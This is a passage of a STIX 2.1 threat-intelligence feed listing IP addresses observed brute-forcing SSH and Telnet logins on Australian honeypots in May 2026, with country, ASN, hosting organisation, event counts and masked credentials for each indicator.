      "id": "indicator--7c9982ee-ff4a-473e-bdd0-28fad46361d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.154.200.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:15:06.000Z",
      "valid_until": "2026-06-09T08:15:04.000Z"
    },
    {
      "created": "2026-05-08T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--d2bfa142-7f28-4a56-956f-e9697e125132",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.43.225.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:15:06.000Z",
      "valid_until": "2026-06-09T08:15:04.000Z"
    },
    {
      "created": "2026-05-08T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KZ. ASN(s): 21299. Organisation(s): Kar-Tel LLC.",
      "id": "indicator--b69c6a83-1f95-4091-bd05-b190127b1522",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.34.4.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:15:06.000Z",
      "valid_until": "2026-06-09T08:15:04.000Z"
    },
    {
      "created": "2026-05-08T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--25dd57db-c91c-4bf7-bf3e-b6aa3fefa6c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.79.99.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:15:06.000Z",
      "valid_until": "2026-06-09T08:15:04.000Z"
    },
    {
      "created": "2026-05-08T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--91ecaa8c-1f61-49c7-bf0f-89d2c3625094",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.175.92.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:15:06.000Z",
      "valid_until": "2026-06-09T08:15:04.000Z"
    },
    {
      "created": "2026-05-08T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 5410. Organisation(s): Bouygues Telecom SA.",
      "id": "indicator--986a3e84-ac55-4f2a-aed2-fd1a64001e79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.82.97.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:15:06.000Z",
      "valid_until": "2026-06-09T08:15:04.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--95853d71-06fa-4873-beab-e5f608907f06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.243.37.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--936bd68e-fae2-46af-a8dc-9e718f29c913",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.46.136.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--1d1e5252-b448-4a47-a961-f8cc74bc58bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.243.76.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9c9f44ea-a4f8-4f2f-9918-97a835615f0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.197.118.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 62110. Organisation(s): Leader PI CI Ltd..",
      "id": "indicator--bae441d5-6ecd-4be7-af78-65ee3caff0a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.237.79.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215224. Organisation(s): NovoServe B.V..",
      "id": "indicator--79d85a20-ff94-40b7-afc4-7424aa783b04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.16.180.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--20982fc3-bfb3-4335-a08b-641d16c6acca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '158.69.226.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RS. ASN(s): 31042. Organisation(s): Serbia BroadBand-Srpske Kablovske mreze d.o.o..",
      "id": "indicator--917b6aba-03bd-4838-aaad-43eb5a0e729e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.148.213.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--bcd8acb1-6d44-4e67-8110-09a85160e352",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.87.251.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 51713. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--4599dc5c-d86d-4715-abe4-785dcdcdc671",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.250.239.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 43. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--a601c6c8-f24e-4bf0-b4cf-bbb2ad950193",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.41.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC. Usernames observed (masked): u****u, a***n, f*****r, ***, u**r. Passwords observed (masked): 0****0, 1******., 3*****t, 3***********4, 3**********4.",
      "id": "indicator--7dba9393-1002-4ec5-8952-6821710b4002",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.112.92.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--47d19ee2-652a-4f66-9d02-088a2f4aad0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.79.94.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C*******5, H**********************3.",
      "id": "indicator--b999b655-22d1-4005-b37c-7ce9f76c464c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.190.198.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 48873. Organisation(s): LLC Proxicom.",
      "id": "indicator--54cc8d74-112e-4bdd-9b09-0d989b1b6a80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.142.32.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 214664. Organisation(s): JSC Buduschee.",
      "id": "indicator--1351e28d-90c1-4d3b-9013-98c90792cd0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.91.64.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--d2efbd23-955d-439b-9236-92f5828c6092",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.159.104.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--2c8db688-d962-4437-a7cc-5071bfc49d08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.79.67.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--4ceecf60-1a41-4327-bf49-f8cd0f855bf4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.81.34.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--00ddae1e-3224-4603-b24d-92ef97e7bc2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.180.137.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--5e2029a2-ef65-45e3-88a5-f72277a1041b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.210.199.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5432. Source country: US. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): p******s.",
      "id": "indicator--875cd5b1-94dc-455a-b375-7dc83747a6f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--34f2322a-8dc2-4070-a150-524823b3f4e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc..",
      "id": "indicator--3d1acad1-7fe8-411b-a69e-8d9353596e7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.235.52.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--70c33ef7-5e61-4309-8f79-7abea8ad870b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.37.117.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--cdc2c59d-a551-4fcd-8498-20543c181d65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.229.239.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 812. Organisation(s): Rogers Communications Canada Inc..",
      "id": "indicator--b77429ef-d087-4b3f-88ff-41060f9bf860",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '99.227.107.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:15:05.000Z",
      "valid_until": "2026-06-09T09:15:03.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 131464. Organisation(s): Digi Jadoo Broadband Ltd.",
      "id": "indicator--7a90aaa6-3555-4145-b5c7-54448539e0d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.69.151.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): g*****r, r**t.",
      "id": "indicator--d185dbf2-a811-400a-a575-9bcc9059c721",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.123.17.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--b5974619-2eca-4d46-8dd5-979444a5ac03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.171.144.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:15:10.000Z",
      "valid_until": "2026-06-09T10:15:08.000Z"
    },
    {
      "created": "2026-05-08T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--6bdda29a-39b4-4cc2-99c8-a7943026efaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.16.115.17']",
